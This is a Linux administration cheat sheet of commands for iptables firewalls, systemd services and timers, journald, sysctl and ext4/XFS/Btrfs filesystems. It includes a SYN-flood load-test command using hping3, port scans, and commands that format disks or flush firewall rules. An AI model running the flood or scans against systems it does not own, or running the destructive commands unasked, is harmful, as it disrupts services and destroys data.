iptables -t raw -A PREROUTING -p tcp --dport 80 -s 192.168.1.100 -j TRACE
# View traces: xtables-monitor --trace

# Count packets matching a rule (for testing)
iptables -A INPUT -p tcp --dport 80 -c 0 0
iptables -L INPUT -v -n  # Check packet counters

# Use rate limiting to prevent log flooding
iptables -A INPUT -m limit --limit 5/min --limit-burst 10 -j LOG --log-prefix "DROP: "

# Use different prefixes for different rules
iptables -A INPUT -p tcp --dport 22 -m recent --update --seconds 60 --hitcount 4 -j LOG --log-prefix "SSH-BRUTE: "
iptables -A INPUT -p tcp --syn -j LOG --log-prefix "NEW-CONN: "

# Log to different levels
# 0=emerg, 1=alert, 2=crit, 3=err, 4=warning, 5=notice, 6=info, 7=debug
iptables -A INPUT -j LOG --log-level 4  # warning level

# 1. Allow loopback first
iptables -A INPUT -i lo -j ACCEPT

# 2. Drop invalid packets early
iptables -A INPUT -m conntrack --ctstate INVALID -j DROP

# 3. Allow established/related connections
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# 4. Rate limiting and anti-abuse rules
iptables -A INPUT -p tcp --syn -m hashlimit --hashlimit-above 10/sec --hashlimit-mode srcip -j DROP

# 5. Specific service rules (most used first)
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT

# 6. Less common services
iptables -A INPUT -p tcp --dport 22 -j ACCEPT

# 7. Logging before default policy
iptables -A INPUT -m limit --limit 5/min -j LOG --log-prefix "DROP: "

# 8. Default policy or explicit drop
# (handled by policy setting)

iptables -P INPUT DROP
iptables -P FORWARD DROP

# Good
iptables -A INPUT -p tcp -s 192.168.1.0/24 --dport 22 -m conntrack --ctstate NEW -j ACCEPT

# Bad (too permissive)
iptables -A INPUT -p tcp --dport 22 -j ACCEPT

# Test rules before applying permanently
# Use at/cron to reset rules in case you lock yourself out
at now + 5 minutes <<< "iptables -F; iptables -P INPUT ACCEPT"

iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

iptables -A INPUT -p tcp --dport 80 -m hashlimit --hashlimit-above 10/sec -j DROP

iptables -A INPUT -m limit --limit 5/min -j LOG --log-prefix "SUSPICIOUS: "

iptables -S > /tmp/rules-$(date +%Y%m%d).txt

# 1. Put most-matched rules first
# 2. Use connection tracking to reduce rule processing
# 3. Disable tracking for high-traffic connections
iptables -t raw -A PREROUTING -p tcp --dport 80 -j NOTRACK

# 4. Use ipset for large IP lists (more efficient than multiple rules)
ipset create blacklist hash:ip
ipset add blacklist 1.2.3.4
ipset add blacklist 5.6.7.8
iptables -A INPUT -m set --match-set blacklist src -j DROP

# 5. Minimize logging in production
# 6. Use hashlimit instead of recent for large-scale rate limiting

# Prevention: Use at command to reset rules
at now + 10 minutes <<< "iptables -F; iptables -P INPUT ACCEPT"

# Then apply your rules. If something goes wrong, rules will auto-reset in 10 minutes

# Recovery: Access via console/KVM and run:
iptables -F
iptables -P INPUT ACCEPT

# 1. Check rule order
iptables -L -v -n --line-numbers

# 2. Check packet counters
iptables -L -v -n  # Look at pkts column

# 3. Verify packet path with logging
iptables -I INPUT 1 -p tcp --dport 80 -j LOG --log-prefix "TEST: "
# Check logs: tail -f /var/log/syslog | grep "TEST:"

# 4. Check conntrack state
conntrack -L
conntrack -L | grep 192.168.1.100

# 5. Verify routing
ip route show
ip route get 8.8.8.8

# 1. Verify IP forwarding is enabled
cat /proc/sys/net/ipv4/ip_forward  # Should be 1
echo 1 > /proc/sys/net/ipv4/ip_forward

# 2. Check NAT rules
iptables -t nat -L -v -n

# 3. Check FORWARD chain
iptables -L FORWARD -v -n

# 4. Verify conntrack
conntrack -L | grep DNAT
conntrack -L | grep SNAT

# 5. Check routing
ip route show

# Install persistence package
# Debian/Ubuntu: apt install iptables-persistent
# RHEL/CentOS: yum install iptables-services

# Save rules
iptables-save > /etc/iptables/rules.v4
ip6tables-save > /etc/iptables/rules.v6

# Or with netfilter-persistent
netfilter-persistent save

# Verify persistence service is enabled
systemctl status netfilter-persistent
systemctl enable netfilter-persistent

# 1. Check for excessive logging
iptables -L -v -n | grep LOG

# 2. Disable conntrack for high-traffic connections
iptables -t raw -A PREROUTING -p tcp --dport 80 -j NOTRACK
iptables -t raw -A OUTPUT -p tcp --sport 80 -j NOTRACK

# 3. Use ipset for large IP lists
# 4. Optimize rule order (most-matched first)
# 5. Check conntrack table size
cat /proc/sys/net/netfilter/nf_conntrack_count
cat /proc/sys/net/netfilter/nf_conntrack_max

# Increase if needed:
echo 262144 > /proc/sys/net/netfilter/nf_conntrack_max

# Test from another machine
nc -zv <server-ip> 80  # Test TCP connection
nmap -p 80,443 <server-ip>  # Scan ports

# Test locally
telnet localhost 80
curl -v http://localhost

# Simulate traffic
hping3 -S -p 80 <server-ip>  # SYN flood test
ab -n 1000 -c 10 http://localhost/  # HTTP load test

# Verify packet flow
tcpdump -i eth0 -n 'port 80'  # Capture packets
tcpdump -i any -n 'host 192.168.1.100'  # Track specific host

# Install persistence
apt install iptables-persistent

# Save rules
netfilter-persistent save

# Or manually
iptables-save > /etc/iptables/rules.v4
ip6tables-save > /etc/iptables/rules.v6

# Restore on boot (handled by netfilter-persistent service)
systemctl status netfilter-persistent
systemctl enable netfilter-persistent

# Install service
yum install iptables-services

# Save rules
service iptables save
# Saves to: /etc/sysconfig/iptables

# Enable on boot
systemctl enable iptables
systemctl start iptables

# Manual save/restore
iptables-save > /etc/sysconfig/iptables
iptables-restore < /etc/sysconfig/iptables

# Create script: /usr/local/bin/firewall.sh
#!/bin/bash
# Your iptables rules here

# Create service: /etc/systemd/system/firewall.service
cat > /etc/systemd/system/firewall.service <<'EOF'
[Unit]
Description=Custom Firewall Rules
Before=network-pre.target
Wants=network-pre.target

[Service]
Type=oneshot
ExecStart=/usr/local/bin/firewall.sh
RemainAfterExit=yes

[Install]
WantedBy=multi-user.target
EOF

# Enable service
systemctl daemon-reload
systemctl enable firewall.service
systemctl start firewall.service

# Method 1: Use iptables-restore
iptables-save > /tmp/current-rules.txt
# Edit /tmp/current-rules.txt
iptables-restore < /tmp/current-rules.txt

# Method 2: Use iptables-apply (safer, auto-rollback)
iptables-save > /tmp/new-rules.txt
# Edit /tmp/new-rules.txt
iptables-apply /tmp/new-rules.txt
# Confirms changes or auto-reverts after timeout

# Create custom chain for web traffic
iptables -N WEB_TRAFFIC
iptables -A WEB_TRAFFIC -p tcp --dport 80 -j ACCEPT
iptables -A WEB_TRAFFIC -p tcp --dport 443 -j ACCEPT
iptables -A WEB_TRAFFIC -j RETURN

# Use custom chain
iptables -A INPUT -j WEB_TRAFFIC

# Create reusable logging chain
iptables -N LOG_DROP
iptables -A LOG_DROP -m limit --limit 5/min -j LOG --log-prefix "DROP: " --log-level 7
iptables -A LOG_DROP -j DROP

# Use it
iptables -A INPUT -p tcp --dport 23 -j LOG_DROP

# Mark packets for QoS
iptables -t mangle -A PREROUTING -p tcp --dport 22 -j MARK --set-mark 1
iptables -t mangle -A PREROUTING -p tcp --dport 80 -j MARK --set-mark 2

# Use marks in routing (requires ip rule/route configuration)
ip rule add fwmark 1 table 100
ip rule add fwmark 2 table 200

# Use marks in other iptables rules
iptables -A FORWARD -m mark --mark 1 -j ACCEPT

# Simple round-robin load balancing
iptables -t nat -A PREROUTING -p tcp --dport 80 -m statistic --mode nth --every 3 --packet 0 -j DNAT --to-destination 192.168.1.101:80
iptables -t nat -A PREROUTING -p tcp --dport 80 -m statistic --mode nth --every 2 --packet 0 -j DNAT --to-destination 192.168.1.102:80
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.103:80

# Random load balancing
iptables -t nat -A PREROUTING -p tcp --dport 80 -m statistic --mode random --probability 0.33 -j DNAT --to-destination 192.168.1.101:80
iptables -t nat -A PREROUTING -p tcp --dport 80 -m statistic --mode random --probability 0.50 -j DNAT --to-destination 192.168.1.102:80
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.103:80

# fail2ban creates and manages iptables rules automatically
# Example fail2ban chain (created by fail2ban)
iptables -L fail2ban-ssh -v -n

# Manual ban
iptables -I INPUT -s 1.2.3.4 -j DROP

# Unban
iptables -D INPUT -s 1.2.3.4 -j DROP

# ip6tables syntax is nearly identical to iptables
ip6tables -A INPUT -p tcp --dport 80 -j ACCEPT

# Allow ICMPv6 (essential for IPv6)
ip6tables -A INPUT -p ipv6-icmp -j ACCEPT

# Save IPv6 rules
ip6tables-save > /etc/iptables/rules.v6

#!/bin/bash
# Basic server firewall script

# Flush existing rules
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X

# Default policies
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT

# Loopback
iptables -A INPUT -i lo -j ACCEPT

# Connection tracking
iptables -A INPUT -m conntrack --ctstate INVALID -j DROP
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# SSH with brute force protection
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --set --name SSH
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --update --seconds 60 --hitcount 4 --name SSH -j DROP
iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -j ACCEPT

# HTTP/HTTPS
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT

# ICMP (ping)
iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 5/s -j ACCEPT

# Log dropped packets
iptables -A INPUT -m limit --limit 5/min -j LOG --log-prefix "iptables DROP: " --log-level 7

# Save rules
netfilter-persistent save

#!/bin/bash
# Router firewall script

# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# Flush existing rules
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X

# Default policies
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT

# Loopback
iptables -A INPUT -i lo -j ACCEPT

# Connection tracking
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# Allow SSH from LAN only
iptables -A INPUT -i eth1 -p tcp --dport 22 -j ACCEPT

# Allow DNS from LAN
iptables -A INPUT -i eth1 -p udp --dport 53 -j ACCEPT
iptables -A INPUT -i eth1 -p tcp --dport 53 -j ACCEPT

# Allow DHCP from LAN
iptables -A INPUT -i eth1 -p udp --dport 67:68 -j ACCEPT

# Forward LAN to WAN
iptables -A FORWARD -i eth1 -o eth0 -j ACCEPT

# NAT/Masquerading
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Port forwarding example: external 80 -> internal 192.168.1.100:80
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j DNAT --to-destination 192.168.1.100:80
iptables -A FORWARD -i eth0 -o eth1 -p tcp -d 192.168.1.100 --dport 80 -m conntrack --ctstate NEW -j ACCEPT

# Anti-spoofing
iptables -A INPUT -i eth0 -s 192.168.0.0/16 -j DROP
iptables -A INPUT -i eth0 -s 10.0.0.0/8 -j DROP
iptables -A INPUT -i eth0 -s 172.16.0.0/12 -j DROP

# Save rules
netfilter-persistent save

# Install nftables
apt install nftables

# Translate iptables rules to nftables
iptables-save > /tmp/iptables-rules.txt
iptables-restore-translate -f /tmp/iptables-rules.txt > /etc/nftables.conf

# Or translate interactively
iptables-translate -A INPUT -p tcp --dport 80 -j ACCEPT
# Output: nft add rule ip filter INPUT tcp dport 80 counter accept

# View rules
iptables -L -v -n --line-numbers
iptables -S
iptables-save

# Add rules
iptables -A INPUT -p tcp --dport 80 -j ACCEPT    # Append
iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT  # Insert

# Delete rules
iptables -D INPUT 5                              # By line number
iptables -D INPUT -p tcp --dport 80 -j ACCEPT    # By specification

# Flush rules
iptables -F                                      # All chains
iptables -F INPUT                                # Specific chain

# Set policy
iptables -P INPUT DROP

# Save/Restore
iptables-save > /etc/iptables/rules.v4
iptables-restore < /etc/iptables/rules.v4
netfilter-persistent save

# Service control
sudo systemctl start service_name
sudo systemctl stop service_name
sudo systemctl restart service_name
sudo systemctl reload service_name         # Reload config without restart
sudo systemctl reload-or-restart service_name

# Enable/disable services (start at boot)
sudo systemctl enable service_name
sudo systemctl disable service_name
sudo systemctl enable --now service_name   # Enable and start

# Check service status
systemctl status service_name
systemctl is-active service_name
systemctl is-enabled service_name
systemctl is-failed service_name

# List services
systemctl list-units --type=service
systemctl list-units --type=service --state=running
systemctl list-units --type=service --state=failed
systemctl list-unit-files --type=service

# Show service configuration
systemctl cat service_name
systemctl show service_name

# Service dependencies
systemctl list-dependencies service_name

# Common services
sudo systemctl status nginx
sudo systemctl restart sshd
sudo systemctl enable docker
sudo systemctl start postgresql

# Check all failed services
systemctl --failed

# Mask service (prevent from being started)
sudo systemctl mask service_name
sudo systemctl unmask service_name

# /etc/systemd/system/myapp.service
[Unit]
Description=My Application
After=network.target
Wants=network-online.target

[Service]
Type=simple
User=myapp
Group=myapp
WorkingDirectory=/opt/myapp
ExecStart=/opt/myapp/bin/myapp
Restart=on-failure
RestartSec=5s

[Install]
WantedBy=multi-user.target

# Type=simple (default)
[Service]
Type=simple
ExecStart=/usr/bin/myapp

# Type=forking (daemon that forks)
[Service]
Type=forking
PIDFile=/var/run/myapp.pid
ExecStart=/usr/bin/myapp --daemon

# Type=oneshot (runs once and exits)
[Service]
Type=oneshot
ExecStart=/usr/bin/backup-script.sh
RemainAfterExit=yes

# Type=notify (sends notification when ready)
[Service]
Type=notify
ExecStart=/usr/bin/myapp
NotifyAccess=main

# Type=dbus (acquires D-Bus name)
[Service]
Type=dbus
BusName=org.example.myapp
ExecStart=/usr/bin/myapp

# Type=idle (delays until all jobs finished)
[Service]
Type=idle
ExecStart=/usr/bin/myapp

# /etc/systemd/system/myapp.service
[Unit]
Description=My Web Application
Documentation=https://example.com/docs
After=network-online.target postgresql.service
Wants=network-online.target
Requires=postgresql.service

[Service]
Type=notify
User=www-data
Group=www-data
WorkingDirectory=/opt/myapp

# Environment
Environment="NODE_ENV=production"
Environment="PORT=3000"
EnvironmentFile=/etc/myapp/config

# Execution
ExecStartPre=/usr/bin/myapp-check-config
ExecStart=/usr/bin/node /opt/myapp/server.js
ExecReload=/bin/kill -HUP $MAINPID
ExecStop=/bin/kill -TERM $MAINPID

# Restart policy
Restart=on-failure
RestartSec=5s
StartLimitInterval=10min
StartLimitBurst=5

# Security
PrivateTmp=true
NoNewPrivileges=true
ProtectSystem=strict
ProtectHome=true
ReadWritePaths=/var/lib/myapp
ReadWritePaths=/var/log/myapp

# Resource limits
LimitNOFILE=65536
MemoryLimit=1G
CPUQuota=200%

# Logging
StandardOutput=journal
StandardError=journal
SyslogIdentifier=myapp

[Install]
WantedBy=multi-user.target

# Create service file
sudo vim /etc/systemd/system/myapp.service

# Reload systemd configuration
sudo systemctl daemon-reload

# Enable and start service
sudo systemctl enable --now myapp

# Check status
systemctl status myapp

# View logs
journalctl -u myapp -f

# Edit service (creates override)
sudo systemctl edit myapp

# Edit full service file
sudo systemctl edit --full myapp

# /etc/systemd/system/backup.timer
[Unit]
Description=Daily Backup Timer
Requires=backup.service

[Timer]
OnCalendar=daily
OnCalendar=*-*-* 02:00:00
Persistent=true
Unit=backup.service

[Install]
WantedBy=timers.target

# /etc/systemd/system/backup.service
[Unit]
Description=Backup Service

[Service]
Type=oneshot
ExecStart=/usr/local/bin/backup.sh
User=backup

# Enable and start timer
sudo systemctl enable --now backup.timer

# List timers
systemctl list-timers
systemctl list-timers --all

# Check timer status
systemctl status backup.timer

# View next run time
systemctl list-timers backup.timer

# Manual trigger
sudo systemctl start backup.service

# Every 5 minutes
OnCalendar=*:0/5

# Every hour
OnCalendar=hourly

# Every day at 3:00 AM
OnCalendar=*-*-* 03:00:00

# Every Monday at 9:00 AM
OnCalendar=Mon *-*-* 09:00:00

# First day of month
OnCalendar=*-*-01 00:00:00

# Relative to boot
OnBootSec=15min
OnUnitActiveSec=1h

# View all logs
journalctl

# Follow logs (like tail -f)
journalctl -f

# Recent logs
journalctl -n 50               # Last 50 lines
journalctl -n 100 --no-pager

# Service-specific logs
journalctl -u nginx
journalctl -u nginx -f
journalctl -u nginx --since today

# Multiple services
journalctl -u nginx -u postgresql

# Time-based filtering
journalctl --since "2024-01-01"
journalctl --since "2024-01-01 10:00" --until "2024-01-01 11:00"
journalctl --since "1 hour ago"
journalctl --since yesterday
journalctl --since "10 min ago"

# Priority filtering
journalctl -p err              # Errors only
journalctl -p warning          # Warnings and above
journalctl -p 0..3             # Emergency to error

# Kernel messages
journalctl -k
journalctl -k -b              # Current boot

# Boot-specific logs
journalctl -b                  # Current boot
journalctl -b -1               # Previous boot
journalctl --list-boots        # List all boots

# Specific process
journalctl _PID=1234

# Output formats
journalctl -o json             # JSON format
journalctl -o json-pretty
journalctl -o verbose
journalctl -o cat              # Just the message

# Disk usage
journalctl --disk-usage

# Verify integrity
journalctl --verify

# Clean old logs
sudo journalctl --vacuum-time=7d    # Keep last 7 days
sudo journalctl --vacuum-size=500M  # Keep max 500MB
sudo journalctl --vacuum-files=5    # Keep max 5 files

# Rotate journals
sudo systemctl kill --signal=SIGUSR2 systemd-journald

# Configure retention
# /etc/systemd/journald.conf
[Journal]
SystemMaxUse=500M
SystemMaxFileSize=100M
SystemMaxFiles=5
RuntimeMaxUse=100M
MaxRetentionSec=7day

# List targets
systemctl list-units --type=target

# Current target
systemctl get-default

# Change default target
sudo systemctl set-default multi-user.target
sudo systemctl set-default graphical.target

# Switch target
sudo systemctl isolate multi-user.target
sudo systemctl isolate rescue.target

# Common targets
# poweroff.target (runlevel 0)
# rescue.target (runlevel 1)
# multi-user.target (runlevel 3)
# graphical.target (runlevel 5)
# reboot.target (runlevel 6)

# Reboot/shutdown
sudo systemctl reboot
sudo systemctl poweroff
sudo systemctl halt
sudo systemctl suspend
sudo systemctl hibernate
sudo systemctl hybrid-sleep

# System state
systemctl is-system-running

# Reload systemd configuration
sudo systemctl daemon-reload

# Reexecute systemd
sudo systemctl daemon-reexec

# Show system boot time
systemd-analyze
systemd-analyze blame           # Show service startup times
systemd-analyze critical-chain  # Show critical startup chain
systemd-analyze plot > boot.svg # Generate SVG timeline

# List all units
systemctl list-units
systemctl list-units --all
systemctl list-unit-files

# Check configuration
sudo systemd-analyze verify /etc/systemd/system/myapp.service

# /etc/systemd/system/myapp.socket
[Unit]
Description=My App Socket

[Socket]
ListenStream=8080
Accept=no

[Install]
WantedBy=sockets.target

# /etc/systemd/system/myapp.service
[Unit]
Description=My App Service
Requires=myapp.socket

[Service]
ExecStart=/usr/bin/myapp
StandardInput=socket

# /etc/systemd/system/watch-config.path
[Unit]
Description=Watch Config Directory

[Path]
PathModified=/etc/myapp
Unit=process-config.service

[Install]
WantedBy=multi-user.target

# /etc/systemd/system/process-config.service
[Unit]
Description=Process Config Changes

[Service]
Type=oneshot
ExecStart=/usr/local/bin/reload-config.sh

# User service directory
~/.config/systemd/user/

# User commands (no sudo)
systemctl --user start myservice
systemctl --user enable myservice
systemctl --user status myservice

# User timers
systemctl --user list-timers

# Enable lingering (services run without login)
loginctl enable-linger username

# User journal
journalctl --user
journalctl --user -u myservice

# ~/.config/systemd/user/myapp.service
[Unit]
Description=My User Application

[Service]
ExecStart=%h/bin/myapp
Restart=on-failure

[Install]
WantedBy=default.target

[Service]
# User/Group isolation
User=myapp
Group=myapp
DynamicUser=yes                # Create temporary user

# Filesystem restrictions
ProtectSystem=strict           # Read-only /usr, /boot, /efi
ProtectHome=true               # Inaccessible /home
PrivateTmp=true                # Private /tmp
ReadWritePaths=/var/lib/myapp  # Writable paths
ReadOnlyPaths=/etc/myapp
InaccessiblePaths=/root

# Namespace isolation
PrivateDevices=yes             # Private /dev
PrivateNetwork=yes             # Private network namespace
PrivateUsers=yes               # User namespace

# Capabilities
NoNewPrivileges=yes            # Prevent privilege escalation
CapabilityBoundingSet=CAP_NET_BIND_SERVICE
AmbientCapabilities=CAP_NET_BIND_SERVICE

# System calls
SystemCallFilter=@system-service
SystemCallFilter=~@privileged @resources
SystemCallErrorNumber=EPERM

# Misc restrictions
RestrictAddressFamilies=AF_INET AF_INET6
RestrictNamespaces=yes
RestrictRealtime=yes
LockPersonality=yes
ProtectKernelTunables=yes
ProtectKernelModules=yes
ProtectControlGroups=yes
MemoryDenyWriteExecute=yes

# Service won't start
systemctl status service_name
journalctl -u service_name -n 50
journalctl -xe

# Check service configuration
systemd-analyze verify /etc/systemd/system/myapp.service

# Dependency issues
systemctl list-dependencies service_name
systemctl list-dependencies --reverse service_name

# Stuck service
sudo systemctl kill service_name
sudo systemctl kill -s SIGKILL service_name

# Reset failed state
sudo systemctl reset-failed service_name
sudo systemctl reset-failed

# Show why service failed
systemctl status service_name --no-pager --full

# Debug mode
sudo SYSTEMD_LOG_LEVEL=debug systemctl start service_name

# Emergency shell
# Add to kernel command line: systemd.unit=emergency.target

# Add debug output to service
[Service]
Environment="DEBUG=true"
StandardOutput=journal+console
StandardError=journal+console

# Increase log level
LogLevel=debug

# Show environment
systemctl show-environment
systemctl show service_name

# 1. Use After= and Wants= for dependencies
[Unit]
After=network-online.target
Wants=network-online.target

# 2. Set restart policy
[Service]
Restart=on-failure
RestartSec=5s
StartLimitInterval=10min
StartLimitBurst=5

# 3. Use specific user
[Service]
User=myapp
Group=myapp

# 4. Set working directory
[Service]
WorkingDirectory=/opt/myapp

# 5. Use environment files
[Service]
EnvironmentFile=/etc/myapp/config

# 6. Add security restrictions
[Service]
ProtectSystem=strict
PrivateTmp=true
NoNewPrivileges=true

# 7. Proper logging
[Service]
StandardOutput=journal
StandardError=journal
SyslogIdentifier=myapp

# 8. Resource limits
[Service]
LimitNOFILE=65536
MemoryMax=1G

# 9. Use timers instead of cron
# Create .timer and .service files

# 10. Test configuration
sudo systemd-analyze verify myapp.service

# List all parameters
sysctl -a

# Get specific parameter
sysctl net.ipv4.ip_forward

# Set parameter (temporary)
sudo sysctl -w net.ipv4.ip_forward=1

# Load from configuration file
sudo sysctl -p /etc/sysctl.conf

# Network settings
net.ipv4.ip_forward = 1                    # Enable IP forwarding
net.ipv4.tcp_syncookies = 1                # SYN flood protection
net.core.somaxconn = 1024                  # Connection backlog
net.ipv4.tcp_max_syn_backlog = 2048        # SYN backlog

# Memory settings
vm.swappiness = 10                         # Swap preference (0-100)
vm.dirty_ratio = 15                        # Dirty page threshold
vm.overcommit_memory = 1                   # Memory overcommit

# File system
fs.file-max = 65536                        # Max open files
fs.inotify.max_user_watches = 524288       # inotify watches

# Kernel settings
kernel.sysrq = 1                           # Enable SysRq key
kernel.panic = 10                          # Reboot after panic (seconds)

# /etc/sysctl.conf or /etc/sysctl.d/99-custom.conf
net.ipv4.ip_forward = 1
vm.swappiness = 10
fs.file-max = 100000

# Apply configuration
sudo sysctl -p

# High-performance networking
net.core.rmem_max = 134217728
net.core.wmem_max = 134217728
net.ipv4.tcp_rmem = 4096 87380 67108864
net.ipv4.tcp_wmem = 4096 65536 67108864
net.ipv4.tcp_congestion_control = bbr

# Database server optimization
vm.swappiness = 1
vm.dirty_background_ratio = 5
vm.dirty_ratio = 10

/sys/
├── block/          # Block devices
├── bus/            # Bus types (pci, usb, etc.)
├── class/          # Device classes (network, input, etc.)
├── devices/        # Device tree
├── firmware/       # Firmware information
├── fs/             # Filesystem information
├── kernel/         # Kernel parameters
├── module/         # Loaded kernel modules
└── power/          # Power management

# List block devices
ls /sys/block/

# Device information
cat /sys/class/net/eth0/address      # MAC address
cat /sys/class/net/eth0/speed        # Link speed
cat /sys/class/net/eth0/operstate    # Interface state

# CPU information
cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
ls /sys/devices/system/cpu/cpu*/topology/

# GPU information
cat /sys/class/drm/card0/device/vendor
cat /sys/class/drm/card0/device/device

# USB devices
ls /sys/bus/usb/devices/

# Module parameters
ls /sys/module/*/parameters/
cat /sys/module/bluetooth/parameters/disable_esco

# CPU frequency scaling
echo "performance" | sudo tee /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor

# Device power state
cat /sys/class/net/eth0/device/power/runtime_status

# Display brightness
echo 50 | sudo tee /sys/class/backlight/*/brightness

# List LEDs
ls /sys/class/leds/

# Control LED
echo 1 > /sys/class/leds/led0/brightness
echo 0 > /sys/class/leds/led0/brightness

# LED trigger
echo "heartbeat" > /sys/class/leds/led0/trigger

User Applications
       |
   System Calls (open, read, write, etc.)
       |
   Virtual Filesystem (VFS)
       |
   +---+---+---+---+---+---+
   |   |   |   |   |   |   |
  ext4 XFS Btrfs NFS tmpfs overlay
   |   |   |   |   |   |   |
  Block Layer / Network / Memory

# Create with default options
mkfs.ext4 /dev/sdb1

# Create with specific block size (4K is typical)
mkfs.ext4 -b 4096 /dev/sdb1

# Create with label
mkfs.ext4 -L mydata /dev/sdb1

# Create with more inodes (useful for many small files)
mkfs.ext4 -i 8192 /dev/sdb1  # One inode per 8KB

# Create with specific inode size (256 is default, 512 for extended attributes)
mkfs.ext4 -I 512 /dev/sdb1

# Create without reserved blocks (useful for data partitions)
mkfs.ext4 -m 0 /dev/sdb1

# Create with directory indexing (enabled by default, improves lookup)
mkfs.ext4 -O dir_index /dev/sdb1

# Journal mode: data + metadata journaled (slowest, safest)
mount -o data=journal /dev/sdb1 /mnt

# Ordered mode: metadata journaled, data written before commit (default)
mount -o data=ordered /dev/sdb1 /mnt

# Writeback mode: metadata journaled only (fastest, least safe)
mount -o data=writeback /dev/sdb1 /mnt

# View current filesystem settings
tune2fs -l /dev/sdb1

# Set volume label
tune2fs -L mydata /dev/sdb1

# Adjust reserved block percentage (default 5%)
tune2fs -m 1 /dev/sdb1

# Set mount options in superblock
tune2fs -o journal_data_writeback /dev/sdb1

# Disable last-mounted time updates (reduces writes)
tune2fs -O ^has_journal /dev/sdb1  # Remove journal (convert to ext2)
tune2fs -O has_journal /dev/sdb1   # Add journal back

# Set filesystem check interval
tune2fs -c 30 /dev/sdb1            # Check every 30 mounts
tune2fs -i 6m /dev/sdb1            # Check every 6 months
tune2fs -c 0 -i 0 /dev/sdb1        # Disable periodic checks

# Enable or disable features
tune2fs -O extent /dev/sdb1        # Enable extents
tune2fs -O dir_index /dev/sdb1     # Enable directory indexing
tune2fs -O ^dir_index /dev/sdb1    # Disable feature (^ prefix)

# Create with default options
mkfs.xfs /dev/sdb1

# Create with label
mkfs.xfs -L mydata /dev/sdb1

# Create with specific block size
mkfs.xfs -b size=4096 /dev/sdb1

# Create with specific allocation group size (for parallelism)
mkfs.xfs -d agcount=8 /dev/sdb1

# Create with specific inode size (512 for extended attributes)
mkfs.xfs -i size=512 /dev/sdb1

# Create optimized for SSDs
mkfs.xfs -d sunit=512,swidth=2048 /dev/sdb1

# Force creation (overwrite existing filesystem)
mkfs.xfs -f /dev/sdb1

# View filesystem information
xfs_info /dev/sdb1
# Or for mounted filesystem
xfs_info /mnt/data

# Grow filesystem (online, while mounted)
xfs_growfs /mnt/data

# Defragment filesystem
xfs_fsr /mnt/data               # Defragment entire filesystem
xfs_fsr -v /mnt/data/file.img   # Defragment specific file

# Check filesystem (must be unmounted)
xfs_repair /dev/sdb1

# Check in no-modify mode (read-only check)
xfs_repair -n /dev/sdb1

# Dump/restore metadata
xfs_metadump /dev/sdb1 dump.img
xfs_mdrestore dump.img /dev/sdc1

# Copy filesystem data
xfs_copy /dev/sdb1 /dev/sdc1

# Set filesystem label
xfs_admin -L mydata /dev/sdb1

# Set UUID
xfs_admin -U generate /dev/sdb1

# Modify parameters (rare, most set at creation)
xfs_admin -l /dev/sdb1  # View label
xfs_admin -u /dev/sdb1  # View UUID

# Mount options for performance
mount -o noatime,nodiratime,logbufs=8,logbsize=256k /dev/sdb1 /mnt

# Create simple filesystem
mkfs.btrfs /dev/sdb1

# Create with label
mkfs.btrfs -L mydata /dev/sdb1

# Create with specific node size (16K default, affects metadata)
mkfs.btrfs -n 32768 /dev/sdb1

# Create RAID1 across multiple devices (metadata and data)
mkfs.btrfs -m raid1 -d raid1 /dev/sdb1 /dev/sdc1

# Create RAID0 for data, RAID1 for metadata
mkfs.btrfs -m raid1 -d raid0 /dev/sdb1 /dev/sdc1

# Create RAID10
mkfs.btrfs -m raid10 -d raid10 /dev/sd[b-e]1

# Force creation
mkfs.btrfs -f /dev/sdb1

# Create subvolume
btrfs subvolume create /mnt/data/subvol1

# List subvolumes
btrfs subvolume list /mnt/data

# Show subvolume details
btrfs subvolume show /mnt/data/subvol1

# Delete subvolume
btrfs subvolume delete /mnt/data/subvol1

# Set default subvolume (mounted if no subvol= option)
btrfs subvolume set-default <id> /mnt/data

# Get default subvolume
btrfs subvolume get-default /mnt/data

# Mount specific subvolume
mount -o subvol=subvol1 /dev/sdb1 /mnt/subvol1
mount -o subvolid=256 /dev/sdb1 /mnt/subvol1

# Create snapshot (read-write)
btrfs subvolume snapshot /mnt/data /mnt/data/snapshots/snap1

# Create read-only snapshot
btrfs subvolume snapshot -r /mnt/data /mnt/data/snapshots/snap1

# List snapshots (snapshots are subvolumes)
btrfs subvolume list -s /mnt/data

# Delete snapshot
btrfs subvolume delete /mnt/data/snapshots/snap1

# Rollback by changing default subvolume
btrfs subvolume set-default <snapshot-id> /mnt/data
# Then reboot or remount

# Enable compression on mount
mount -o compress=zstd /dev/sdb1 /mnt/data
mount -o compress=lzo /dev/sdb1 /mnt/data
mount -o compress=zlib /dev/sdb1 /mnt/data

# Set compression level (zstd supports 1-15)
mount -o compress=zstd:3 /dev/sdb1 /mnt/data

# Enable compression for existing data
btrfs filesystem defragment -r -czstd /mnt/data

# Set compression property on directory
btrfs property set /mnt/data/logs compression zstd

